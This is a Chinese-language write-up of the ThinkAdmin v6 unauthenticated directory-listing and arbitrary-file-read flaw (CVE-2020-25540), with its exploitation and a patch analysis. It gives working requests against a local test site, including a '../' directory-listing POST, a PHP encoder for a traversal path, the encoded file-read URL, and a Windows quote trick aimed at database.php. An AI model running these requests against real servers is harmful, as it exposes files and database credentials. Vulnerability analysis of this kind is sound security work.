Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)

环境搭建

下载 ThinkAdmin 的过去版本

通过 Commit 找到修复的位置,下载修复版本的前一个版本

可以通过对比,重点关注修复的相关信息。

可以注意到对于任意文件读取的防护仅仅是加了 禁止目录级别上跳

下载老版本的方法为,找到修改前的 Commit 点击 Browse files 就可以下载过去的版本了。

按照配置创建和导入数据库,就安装成功了。

漏洞利用

获取版本信息

http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/version

读取网站目录

http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/node
POST rules=["/"]

POST rules=["../"]

任意文件读取

1
2
3
4
5
6
7
8
9
10
<?php

function encode($content)
{
[$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
return $chars;
}
var_dump(encode("public/static/../../poc.php"));
?>

http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b34332r1a342w34

漏洞分析

我下载的版本为漏洞修复前的版本,可能与网上的文章有些不同,不过大体上是相同的。

app/admin/controller/api/Update.php 中引用了两个 function 可不通过登录认证就可使用。

\app\admin\controller\api\Update::version 可以获取到当前版本

目录穿越

\app\admin\controller\api\Update::node

将 POST 传入的参数 rules & ignore 传递给 ModuleService::instance()->getChanges()
跟进函数 \think\admin\service\ModuleService::getChanges

在 getChanges() 函数内,遍历传进的 $rules 数组,将参数进行转换,并与网站根目录进行路径拼接,传递给 _scanLocalFileHashList ,返回文件名与哈希值。

\think\admin\service\ModuleService::_scanLocalFileHashList

_scanLocalFileHashList 中,通过 scanDirectory 遍历传过来目录下的文件
\think\admin\service\NodeService::scanDirectory

如此,攻击者就可以在未授权的情况下实现读取网站的文件列表。

目前采用的修复方法是,在读取完文件之后,对路径进行一个判断,看是否符合 checkAllowDownload 再返回数据。

任意文件读取

\app\admin\controller\api\Update::get

首先从 GET读取 encode 参数并使用 decode() 解码
\decode

对应的加密函数 encode()
\encode

跟进函数 checkAllowDownload 对传入的路径进行判断
\think\admin\service\ModuleService::checkAllowDownload

然后跟进白名单判断函数 _getAllowDownloadRule()
\think\admin\service\ModuleService::_getAllowDownloadRule

被允许的列表

1
2
3
4
5
6
config   
public/static
public/router.php
public/index.php
app/admin
app/wechat

也就是说 $name 的不能为 databases.php 并且必须要再允许列表内的。
可以通过 public/static/../../poc.php 来读取网站根目录下的 poc.php

针对 database.php 的限制,在 Windows 下可以通过 " 来进行绕过。
public/static/../../config/database"php
emmm,但是我是没有读取出来。

事实上,利用这种方法是可以读取文件的

目前采用的修复方法还是添加了

1
2
3
4
// 禁止目录级别上跳
if (stripos($name, '..') !== false) {
return false;
}

思考

我想这个修复方法还是存在问题的,首先是对这些文件权限配置的问题,根本没有修复对文件的访问权限,再未登录的情况下,仍然能实现对文件的访问。其实是修复过滤的问题,虽然采用了增加黑名单的模式,但是,还是能直接获取得到网站的文件列表。


修复后还是首先对传入的路径进行一个查询,得出所有的文件的路径,然后将获取得到文件的路径进行判断,并不是直接对传入的路径进行判断。可能比较拗口,但是这样说,大概就能清楚。我们首先传入 / ,然后会获取得到网站根目录下所有文件的路径名,like app/admin/controller/Auth.php 然后这些值就会进行
checkAllowDownload 的检验。 然后白名单为

所以还是可以列出根目录下的一些文件滴。
目前的过滤的 .. 暂时没有什么方法可以绕过。但是漏洞的位置还是存在,如果特殊情况可以绕过 .. 的话,还是可以实现任意文件读取。

参考文章

ThinkAdmin v6 未授权列目录/任意文件读取